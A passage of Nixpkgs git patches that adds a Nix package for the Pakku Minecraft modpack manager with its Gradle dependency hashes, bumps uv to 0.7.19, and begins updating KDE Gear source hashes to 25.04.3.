+   "pom": "sha256-EJN9RMQlmEy4c5Il00cS4aMUVkHKk6w/fvGG+iX2urw="
+  },
+  "org/junit#junit-bom/5.11.0": {
+   "module": "sha256-9+2+Z/IgQnCMQQq8VHQI5cR29An1ViNqEXkiEnSi7S0=",
+   "pom": "sha256-5nRZ1IgkJKxjdPQNscj0ouiJRrNAugcsgL6TKivkZE0="
+  },
+  "org/junit#junit-bom/5.8.2": {
+   "module": "sha256-QM+tmT+nDs3yr3TQxW2hSE7iIJZL6Pkyz+YyvponM/o=",
+   "pom": "sha256-g2Bpyp6O48VuSDdiItopEmPxN70/0W2E/dR+/MPyhuI="
+  },
+  "org/junit#junit-bom/5.9.0": {
+   "module": "sha256-oFTq9QFrWLvN6GZgREp8DdPiyvhNKhrV/Ey1JZecGbk=",
+   "pom": "sha256-2D6H8Wds3kQZHuxc2mkEkjkvJpI7HkmBSMpznf7XUpU="
+  },
+  "org/junit#junit-bom/5.9.2": {
+   "module": "sha256-qxN7pajjLJsGa/kSahx23VYUtyS6XAsCVJdyten0zx8=",
+   "pom": "sha256-LtB9ZYRRMfUzaoZHbJpAVrWdC1i5gVqzZ5uw82819wU="
+  },
+  "org/junit/jupiter#junit-jupiter-api/5.8.2": {
+   "jar": "sha256-GAjuh+D3GM1uJfO3WvwXlWrIo+3EjH6bq58Z+aeeOAE=",
+   "module": "sha256-fpr03/9iZ6zd0VfZ4Rug1dyRszL6dLxMZZOeRReht3A=",
+   "pom": "sha256-yb3jYieVswp3NTHoXFgy+NyKp37N0xPu4jXJg8v9Anc="
+  },
+  "org/junit/jupiter#junit-jupiter-engine/5.8.2": {
+   "jar": "sha256-dTt3Js3RWLs0ztuUwWHiKRiW9HgyoentpT2XACCoGE4=",
+   "module": "sha256-pWIExxbCN5lwyo4/4qcuOgMM2QJzKNPOFFfdEMAVDn4=",
+   "pom": "sha256-Ckt92UuvnF+7ZaLpFz0IUii9ACQhNkgCWtBnAk8cZrs="
+  },
+  "org/junit/jupiter#junit-jupiter-params/5.8.2": {
+   "jar": "sha256-0cItb+VINWjAjIkT80q9IwNJDDSAzmwYouoxxl5EECo=",
+   "module": "sha256-UCPk4+wVbsa9PPZV8wcM/Fo+iq1dUbS74CWnkulJjXM=",
+   "pom": "sha256-tGngEBcBfYW8AlIlMCBS+kXPK1n5QVhCRzlGtPpJx8Y="
+  },
+  "org/junit/jupiter#junit-jupiter/5.8.2": {
+   "jar": "sha256-T1wcxkMiRM0W42qg4Ct0vONKgf+VoT1j1QlR7Ezj9L0=",
+   "module": "sha256-2d9Hs8dDGIOrHx8dggwpgOvL11PtxMgrmb9ewsUzrS4=",
+   "pom": "sha256-Q/Vic+es8z4PW10Qecf/pCRTHwHieUqdZHOt/RCkXS4="
+  },
+  "org/junit/platform#junit-platform-commons/1.8.2": {
+   "jar": "sha256-0uAV/KcTDnmvL0YI3FRBXksQtZLXczPey0saJ0wYUFA=",
+   "module": "sha256-NChH0wRv6kNVlWkttPBdXwOeDh0eIE9NV1WQJVcIJiY=",
+   "pom": "sha256-zoUuNMahhKpsgO6N8EcXE6dAgTQTTwjjwcPdh8a1mrc="
+  },
+  "org/junit/platform#junit-platform-engine/1.8.2": {
+   "jar": "sha256-C30AD4w+jl99a4GWSZNue5k4MU6HyPmDgFIY6ldWflk=",
+   "module": "sha256-66d7Nu/fdaZ/RkODM4JfnkSPVQ1SHnJJ2VA1hYDuY2s=",
+   "pom": "sha256-AWhkMmYGDtko71qBgjAD7PrnmpqMC7/Xb0IBxsnXccU="
+  },
+  "org/mockito#mockito-bom/4.11.0": {
+   "pom": "sha256-2FMadGyYj39o7V8YjN6pRQBq6pk+xd+eUk4NJ9YUkdo="
+  },
+  "org/mockito#mockito-bom/5.7.0": {
+   "pom": "sha256-dlcAW89JAw1nzF1S3rxm3xj0jVTbs+1GZ/1yWwZ5+6A="
+  },
+  "org/objenesis#objenesis-parent/3.3": {
+   "pom": "sha256-MFw4SqLx4cf+U6ltpBw+w1JDuX1CjSSo93mBjMEL5P8="
+  },
+  "org/objenesis#objenesis/3.3": {
+   "jar": "sha256-At/QsEOaVZHjW3CO0vVHTrCUj1Or90Y36Vm45O9pv+s=",
+   "pom": "sha256-ugxA2iZpoEi24k73BmpHHw+8v8xQnmo+hWyk3fphStM="
+  },
+  "org/opentest4j#opentest4j/1.2.0": {
+   "jar": "sha256-WIEt5giY2Xb7ge87YtoFxmBMGP1KJJ9QRCgkefwoavI=",
+   "pom": "sha256-qW5nGBbB/4gDvex0ySQfAlvfsnfaXStO4CJmQFk2+ZQ="
+  },
+  "org/ow2#ow2/1.5.1": {
+   "pom": "sha256-Mh3bt+5v5PU96mtM1tt0FU1r+kI5HB92OzYbn0hazwU="
+  },
+  "org/ow2/asm#asm-commons/9.7.1": {
+   "jar": "sha256-mlebVNKSrZvhcdQxP9RznGNVksK1rDpFm70QSc3exqA=",
+   "pom": "sha256-C/HTHaDJ+djtwvJ9u/279z8acVtyzS+ijz8ZWZTXStE="
+  },
+  "org/ow2/asm#asm-tree/9.7.1": {
+   "jar": "sha256-mSmIH1nra4QOhtVFcMd7Wc5yHRBObf16QJeJkcLTtB8=",
+   "pom": "sha256-E7kF9l5/1DynZ09Azao3Z5ukhYxsnZ+48Xp6/ZuqvJ4="
+  },
+  "org/ow2/asm#asm/9.5": {
+   "pom": "sha256-LJzOuVHMZYbejZoWxnKtPkwwucMjAo16PDNmVg1WJ7E="
+  },
+  "org/ow2/asm#asm/9.7.1": {
+   "jar": "sha256-jK3UOsXrbQneBfrsyji5F6BAu5E5x+3rTMgcdAtxMoE=",
+   "pom": "sha256-cimwOzCnPukQCActnkVppR2FR/roxQ9SeEGu9MGwuqg="
+  },
+  "org/slf4j#slf4j-api/2.0.16": {
+   "jar": "sha256-oSV43eG6AL2bgW04iguHmSjQC6s8g8JA9wE79BlsV5o=",
+   "pom": "sha256-saAPWxxNvmK4BdZdI5Eab3cGOInXyx6G/oOJ1hkEc/c="
+  },
+  "org/slf4j#slf4j-api/2.0.7": {
+   "jar": "sha256-XWKYuToZBcMs2mR4gIrBTC1KR+kVNeU8Qff+64XZRvQ=",
+   "pom": "sha256-LUA8zw4KAtXBqGZ7DiozyN/GA4qyh7lnHdaBwgUmeYE="
+  },
+  "org/slf4j#slf4j-bom/2.0.16": {
+   "pom": "sha256-BWYEjsglzfKHWGIK9k2eFK44qc2HSN1vr6bfSkGUwnk="
+  },
+  "org/slf4j#slf4j-parent/2.0.16": {
+   "pom": "sha256-CaC0zIFNcnRhbJsW1MD9mq8ezIEzNN5RMeVHJxsZguU="
+  },
+  "org/slf4j#slf4j-parent/2.0.7": {
+   "pom": "sha256-wYK7Ns068ck8FgPN/v54iRV9swuotYT0pEU1/NIuRec="
+  },
+  "org/slf4j#slf4j-simple/2.0.7": {
+   "jar": "sha256-UOrj8cyaeKlwlwUY4AXT9D1c0yYtI09H6988o/i8Aac=",
+   "pom": "sha256-tccM/xvgA+d01nbKGW99guixhE2Ie9r5HWvG7UPfAWQ="
+  },
+  "org/sonatype/oss#oss-parent/5": {
+   "pom": "sha256-FnjUEgpYXYpjATGu7ExSTZKDmFg7fqthbufVqH9SDT0="
+  },
+  "org/sonatype/oss#oss-parent/7": {
+   "pom": "sha256-tR+IZ8kranIkmVV/w6H96ne9+e9XRyL+kM5DailVlFQ="
+  },
+  "org/sonatype/oss#oss-parent/9": {
+   "pom": "sha256-+0AmX5glSCEv+C42LllzKyGH7G8NgBgohcFO8fmCgno="
+  },
+  "org/springframework#spring-framework-bom/5.3.39": {
+   "module": "sha256-+ItA4qUDM7QLQvGB7uJyt17HXdhmbLFFvZCxW5fhg+M=",
+   "pom": "sha256-9tSBCT51dny6Gsfh2zj49pLL4+OHRGkzcada6yHGFIs="
+  },
+  "org/vafer#jdependency/2.12": {
+   "jar": "sha256-xuxNA/nwT7ZEjTavQ6HMBpoh7LXocBM90Y/tT02x3mg=",
+   "pom": "sha256-LY6Zq9RS9eZCxtK74xACuSh5naw6CeA+PknyE3ozt+s="
+  }
+ }
+}
diff --git a/pkgs/by-name/pa/pakku/package.nix b/pkgs/by-name/pa/pakku/package.nix
new file mode 100644
index 000000000000..a2797f8228d7
--- /dev/null
+++ b/pkgs/by-name/pa/pakku/package.nix
@@ -0,0 +1,93 @@
+{
+  jre,
+  lib,
+  stdenv,
+  gradle,
+  makeWrapper,
+  fetchFromGitHub,
+  versionCheckHook,
+  nix-update-script,
+  installShellFiles,
+  stripJavaArchivesHook,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "pakku";
+  version = "1.2.1";
+
+  src = fetchFromGitHub {
+    owner = "juraj-hrivnak";
+    repo = "Pakku";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-hWQq2awZV07wX4jK9K/QoXekrlZukuDv6CtY1O09ZkQ=";
+  };
+
+  gradleBuildTask = "jvmJar";
+
+  nativeBuildInputs = [
+    gradle
+    makeWrapper
+    installShellFiles
+    stripJavaArchivesHook
+  ];
+
+  mitmCache = gradle.fetchDeps {
+    inherit (finalAttrs) pname;
+    data = ./deps.json;
+  };
+
+  # this is required for using mitm-cache on Darwin
+  __darwinAllowLocalNetworking = true;
+
+  gradleCheckTask = "jvmTest";
+  doCheck = true;
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/{bin,share/pakku}
+    cp build/libs/pakku.jar $out/share/pakku
+
+    makeWrapper ${jre}/bin/java $out/bin/pakku --add-flags "-jar $out/share/pakku/pakku.jar"
+
+    runHook postInstall
+  '';
+
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd pakku \
+      --bash <($out/bin/pakku --generate-completion=bash) \
+      --fish <($out/bin/pakku --generate-completion=fish) \
+      --zsh <($out/bin/pakku --generate-completion=zsh)
+  '';
+
+  doInstallCheck = true;
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgramArg = "--version";
+
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--subpackage"
+      "mitmCache"
+    ];
+  };
+
+  meta = {
+    description = "Multiplatform modpack manager for Minecraft: Java Edition";
+    longDescription = ''
+      With Pakku, you can create modpacks for CurseForge, Modrinth or both simultaneously.
+
+      It's a package manager that significantly simplifies Minecraft modpack development, inspired by package managers like npm and Cargo. In addition to package management itself, it enables support for version control, simplifies collaboration options, and adds support for CI/CD.
+    '';
+    homepage = "https://github.com/juraj-hrivnak/Pakku";
+    downloadPage = "https://github.com/juraj-hrivnak/Pakku/releases/tag/v${finalAttrs.version}";
+    changelog = "https://github.com/juraj-hrivnak/Pakku/releases/tag/v${finalAttrs.version}";
+    mainProgram = "pakku";
+    license = lib.licenses.eupl12;
+    platforms = jre.meta.platforms;
+    sourceProvenance = with lib.sourceTypes; [
+      fromSource
+      binaryBytecode # mitm cache
+    ];
+    maintainers = with lib.maintainers; [ redlonghead ];
+  };
+})

From b5ded0281c65a0c0e72de47308ce56c937d149b8 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Thu, 3 Jul 2025 11:17:47 +0000
Subject: [PATCH 1983/4511] uv: 0.7.17 -> 0.7.19

(cherry picked from commit 4943eb406ce298954d313a42306ee4b00f0f5694)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 167ae1338065..915908c7ce1d 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.17";
+  version = "0.7.19";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-XZ0wlnj76iWgK6jvckI+bSo75PFKAbqUm6jLBKt9+ys=";
+    hash = "sha256-p5Wzir6rXdI3piz9K7xyoWhDYhN7sZW9eWEVonvCdlM=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-imcz/qzq2p9mwDjaqVzIvz7QY0Hte/WSBNNcLa5Njv0=";
+  cargoHash = "sha256-RftLwT/I+o86JEIXijB5SJc50ZJ960O/Tricngokan8=";
 
   buildInputs = [
     rust-jemalloc-sys

From b2cb8c05aab9cc6e69e81ce52acb4a2ccdbefa20 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 3 Jul 2025 20:52:58 +0300
Subject: [PATCH 1984/4511] kdePackages: Gear 25.04.2 -> 25.04.3

(cherry picked from commit 192d13403762b4951ae68f34e87e65e1f0f8ded1)
---
 pkgs/kde/generated/sources/gear.json | 1500 +++++++++++++-------------
 1 file changed, 750 insertions(+), 750 deletions(-)

diff --git a/pkgs/kde/generated/sources/gear.json b/pkgs/kde/generated/sources/gear.json
index 63cd4ff5e2c4..45e58b54154e 100644
--- a/pkgs/kde/generated/sources/gear.json
+++ b/pkgs/kde/generated/sources/gear.json
@@ -1,1252 +1,1252 @@
 {
   "accessibility-inspector": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/accessibility-inspector-25.04.2.tar.xz",
-    "hash": "sha256-UI4+SfIwU6d3DgjGMgviG7LSH4h1kJghHhWBMjLQoF4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/accessibility-inspector-25.04.3.tar.xz",
+    "hash": "sha256-sVRpfMsMuhRWh8791Vk2M6aEeBXidXkOc373pfOW9M0="
   },
   "akonadi": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-25.04.2.tar.xz",
-    "hash": "sha256-xGiaboDU+LdE4xRZ52jZdwRMvTuPtC0U7Rz357rK5S0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-25.04.3.tar.xz",
+    "hash": "sha256-BCzTMZ6t+4JUd3PlLOfUHTYdWMTpL+daUXnBV07U9d8="
   },
   "akonadi-calendar": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-calendar-25.04.2.tar.xz",
-    "hash": "sha256-KPG53xqhpWYLuTJjcAbO5aYhH1FLKsUjbOhgplyQKIQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-calendar-25.04.3.tar.xz",
+    "hash": "sha256-lDPOyPYp9d0arbevOdS2LWBHYksdG+UoLu9eRg9Iblw="
   },
   "akonadi-calendar-tools": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-calendar-tools-25.04.2.tar.xz",
-    "hash": "sha256-Cv6rmPGvnoerYYDfde8Rnqjy1Fo4cKLMBraM7cQm/34="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-calendar-tools-25.04.3.tar.xz",
+    "hash": "sha256-BSgd3kDmPwmv2AvQm2y1wHbXbJdpciKOJ4WX87nsUl8="
   },
   "akonadi-contacts": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-contacts-25.04.2.tar.xz",
-    "hash": "sha256-vo8bRbvP1+95+0st80qeC46HQvrxlaiznAXH7g5jcE0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-contacts-25.04.3.tar.xz",
+    "hash": "sha256-ZEO7PIaZf0LX/NpVmnqIlz/wLrDxeXbWIvuxULTYXEY="
   },
   "akonadi-import-wizard": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-import-wizard-25.04.2.tar.xz",
-    "hash": "sha256-EFBCZ5MCRK09QJ+20BkUVhMejLUYF0sFOAGmzJrvegE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-import-wizard-25.04.3.tar.xz",
+    "hash": "sha256-o5f9s3Oa1MuTwNl/eWaJqnj0j7KWXw+tXYBBYqikTBw="
   },
   "akonadi-mime": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-mime-25.04.2.tar.xz",
-    "hash": "sha256-2x5PkQXO5qr67x1cr1q8mSborRqLYDidEyGmSLzRYWg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-mime-25.04.3.tar.xz",
+    "hash": "sha256-KViKYp5vlh7kiyglyYCEAxHxIH9+odYtRUrdrfGVxr4="
   },
   "akonadi-search": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-search-25.04.2.tar.xz",
-    "hash": "sha256-lfY3Q9BQzLOpYo39ybWicWWNRePVlEyxwTH30lTClIY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadi-search-25.04.3.tar.xz",
+    "hash": "sha256-XErwtqWJk5AGGMnp8SkbPNEqcJfHpwDgDleKUA/MYBo="
   },
   "akonadiconsole": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadiconsole-25.04.2.tar.xz",
-    "hash": "sha256-kPHinVCimfphGhFQnIPhks8shv7MpQeXaYzGwIRnImY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akonadiconsole-25.04.3.tar.xz",
+    "hash": "sha256-svU1yT2KVg2Parmsn7gRHuohbIwfBwlaUmGazntbFLU="
   },
   "akregator": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/akregator-25.04.2.tar.xz",
-    "hash": "sha256-f9x4b0DgMDUvNT6g+4/PA5NoK4JPdgWqiV1m14hFWjk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/akregator-25.04.3.tar.xz",
+    "hash": "sha256-/RdtttGqdN4xyxDExWizaCfXKL63TcgBepu0dotOT7c="
   },
   "alligator": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/alligator-25.04.2.tar.xz",
-    "hash": "sha256-sIt07uSQ/4CL+5LAPwlAUSJOMUfcpVO/KECaxL9oLwo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/alligator-25.04.3.tar.xz",
+    "hash": "sha256-fTgvQHcyphxJgCE+JRL5l6tR4DgZuqsYJKPiD2+/PS4="
   },
   "analitza": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/analitza-25.04.2.tar.xz",
-    "hash": "sha256-Rxd+CoQA4QhJG3abgl70mQ892XszSO7Bgto+ZeVwTbc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/analitza-25.04.3.tar.xz",
+    "hash": "sha256-XNaV/IOvdO7dOXByXjWmOWEgYx5Ghm78kJS85oOtYmw="
   },
   "angelfish": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/angelfish-25.04.2.tar.xz",
-    "hash": "sha256-0tp6/LtJXCR8vTfNBBSDnDeKOLfhvsuK/o0NxHOXHy8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/angelfish-25.04.3.tar.xz",
+    "hash": "sha256-4iTcppe5fWwDcLEPEwW7YDNqThyOVkjJCvV2lmRsv8A="
   },
   "arianna": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/arianna-25.04.2.tar.xz",
-    "hash": "sha256-II0jVmwqLL4CwWBBMhAkw4ZOdLF3zRO2CBLRsjpMVw0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/arianna-25.04.3.tar.xz",
+    "hash": "sha256-VbNOYw/Xgz9WauOUmFClTmBVeBUjop2sbOFG0oFBW4c="
   },
   "ark": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ark-25.04.2.tar.xz",
-    "hash": "sha256-VKN0wvBv9lq+V3hlp/wlId5w8Q9DizmfgbvjwN1L5oo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ark-25.04.3.tar.xz",
+    "hash": "sha256-+TpCjIgibWHlpjLgZgORGJcx+ArbV0glEIAVoHuxBRw="
   },
   "artikulate": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/artikulate-25.04.2.tar.xz",
-    "hash": "sha256-hRY4dkTYpZn5i/zw0O5Urz5uDtIXrKBdVwKcxZ2XV3o="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/artikulate-25.04.3.tar.xz",
+    "hash": "sha256-QozkmwToQDrpUnV92IOCGw4jUXC5z6Dnuli4Z7+qtAQ="
   },
   "audex": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/audex-25.04.2.tar.xz",
-    "hash": "sha256-N3gIXrpyoKpcb4iwbLHSsAsfIIGLhFHYQkmYqg3VyMo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/audex-25.04.3.tar.xz",
+    "hash": "sha256-ioXkcXit53sXciK+r1kg+BMHCymaoKl3nQG+VX7khTA="
   },
   "audiocd-kio": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/audiocd-kio-25.04.2.tar.xz",
-    "hash": "sha256-PXt8+3Grk+mouYWfnVN26+GSqSMkqFm6YYOYJUCcJcs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/audiocd-kio-25.04.3.tar.xz",
+    "hash": "sha256-RGvwclBvhHQJ++JxLu2JjxTZW+TKrUUBzQS+g8TachM="
   },
   "audiotube": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/audiotube-25.04.2.tar.xz",
-    "hash": "sha256-uD4k1UzvldkPnOG+pUJsjQC5OGcJjm02Z4nrTfrrD+o="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/audiotube-25.04.3.tar.xz",
+    "hash": "sha256-r3PbT7VtU5q9Ug8A9lH9nCv4i7RjrP2jq/EMRTX3d9k="
   },
   "baloo-widgets": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/baloo-widgets-25.04.2.tar.xz",
-    "hash": "sha256-mXsqG48E8raw4o7if83BGYSX4/rcBaOvYmd9HqZEavA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/baloo-widgets-25.04.3.tar.xz",
+    "hash": "sha256-Yr8dFn0OF0dNi0fUkDYpaokQCfD7Wu/yEpPHl39ukWY="
   },
   "blinken": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/blinken-25.04.2.tar.xz",
-    "hash": "sha256-DjHKvWNAtv3+XHwtclss64igGtVLUNeQwsPQKNLEJfg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/blinken-25.04.3.tar.xz",
+    "hash": "sha256-dq79wPqHSmK9plWlAmDVttTghzo0geSGJVjDF5k1vLM="
   },
   "bomber": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/bomber-25.04.2.tar.xz",
-    "hash": "sha256-upkpVI1r1h9VtMHuUmVxZESeeEPCeXR5R1QrNXo3exQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/bomber-25.04.3.tar.xz",
+    "hash": "sha256-Lwo3rCR9REd2bUYxO0L2QKBg4tNYlMf8mrJfrE0gJYc="
   },
   "bovo": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/bovo-25.04.2.tar.xz",
-    "hash": "sha256-6XT+eHMuWe0qL3AtjJ0S7IwIo/DxbC3vYfVWRkufnR4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/bovo-25.04.3.tar.xz",
+    "hash": "sha256-yOxq042+KSoExb12g5QWUFSnMqMngrsQqRldSCF46XY="
   },
   "calendarsupport": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/calendarsupport-25.04.2.tar.xz",
-    "hash": "sha256-/UuiVAfQQ7V2Qk8HipjyokJcum5DwmzOobZuTm6GAag="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/calendarsupport-25.04.3.tar.xz",
+    "hash": "sha256-wyZUaO7NQnHR0CdpmaFtFZccitXeTr4vFqld4NJKWw0="
   },
   "calindori": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/calindori-25.04.2.tar.xz",
-    "hash": "sha256-9ps4/+qdp5Dj4SwaSVLdeaT9o0Te8Tjzx5xRLiGsCoA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/calindori-25.04.3.tar.xz",
+    "hash": "sha256-RjPCGA9tm/DWidr7SRzmz0N9P9N6s6k+hRcbLbHrYhE="
   },
   "calligra": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/calligra-25.04.2.tar.xz",
-    "hash": "sha256-DAbB30IA4+UWeCmlKQdVP4PY3lDg6kXCaJj+qcGFC0I="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/calligra-25.04.3.tar.xz",
+    "hash": "sha256-JtdaZ+yooTeEm8kl2g9l9J8Rwp6fx1NGyy1mJwNubU8="
   },
   "cantor": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/cantor-25.04.2.tar.xz",
-    "hash": "sha256-jLdEsY2iLeQxWzAPiLPlgOsq9VmRgYenO3izlIYVvnQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/cantor-25.04.3.tar.xz",
+    "hash": "sha256-Gncyo0vHA/L+vs6wdPsoJ/hK35E7hsEVVT1zoutnrwU="
   },
   "cervisia": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/cervisia-25.04.2.tar.xz",
-    "hash": "sha256-ay56wsQPbU6w5o6EfvYkl/25xRBJKiAtzjZvPwM6H60="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/cervisia-25.04.3.tar.xz",
+    "hash": "sha256-DoxK5vsUer3/uCayX7aHAdQaKQHb7it0ARUFo+08eyg="
   },
   "colord-kde": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/colord-kde-25.04.2.tar.xz",
-    "hash": "sha256-P4R/lS/zT+mOm5w0dwOYYLldPsB5pEIauCabbuipFFk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/colord-kde-25.04.3.tar.xz",
+    "hash": "sha256-vOvkdzd1DQZunFVgp/k5i75jJ88mVxSzxwik0dbqGAM="
   },
   "dolphin": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/dolphin-25.04.2.tar.xz",
-    "hash": "sha256-jIPEk3t7R5Nbd47NAafUHaBibngT2mM0UVfVfQhyl/A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/dolphin-25.04.3.tar.xz",
+    "hash": "sha256-6CL68C09cn+vFHierNMxKIy4p0u5uYgfHnzReJdSw/E="
   },
   "dolphin-plugins": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/dolphin-plugins-25.04.2.tar.xz",
-    "hash": "sha256-tXkl48KJ2cHBuX0pte/d9gCLpPqgelY+jJXoML4t2kE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/dolphin-plugins-25.04.3.tar.xz",
+    "hash": "sha256-SWbquJn/qRQ9Avu3rcSDnorW9q2X/RsIPKa0iKPfvT4="
   },
   "dragon": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/dragon-25.04.2.tar.xz",
-    "hash": "sha256-FaFO6ylZib8f/zXlWJeoF/f9pwZPC8McMx6IttQf/YI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/dragon-25.04.3.tar.xz",
+    "hash": "sha256-QbS7dVBSFHxd6O2Ops1sd7IegEyV1r4hQ6k2nsyfd8I="
   },
   "elisa": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/elisa-25.04.2.tar.xz",
-    "hash": "sha256-49XjQeUz6Rlp7l8gFaH4H47CsLG2AQLqfBaILTa/51A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/elisa-25.04.3.tar.xz",
+    "hash": "sha256-FuTjip59z5tCRBxmcH1bu1Ku9clUItjuBKSiHn8Vc5I="
   },
   "eventviews": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/eventviews-25.04.2.tar.xz",
-    "hash": "sha256-sKrN/OGCGDMfiRSg7x/GlqLnHXqYEcrAjQzk84xkcjI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/eventviews-25.04.3.tar.xz",
+    "hash": "sha256-kN07bJkVp4LBYmU+kCczXm45OxPFhM/bYbTdMe9BJrg="
   },
   "falkon": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/falkon-25.04.2.tar.xz",
-    "hash": "sha256-i/2l6Vq8RjqIJBFIyBWEowvUQ7dngY0SJXOeaBlCyYg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/falkon-25.04.3.tar.xz",
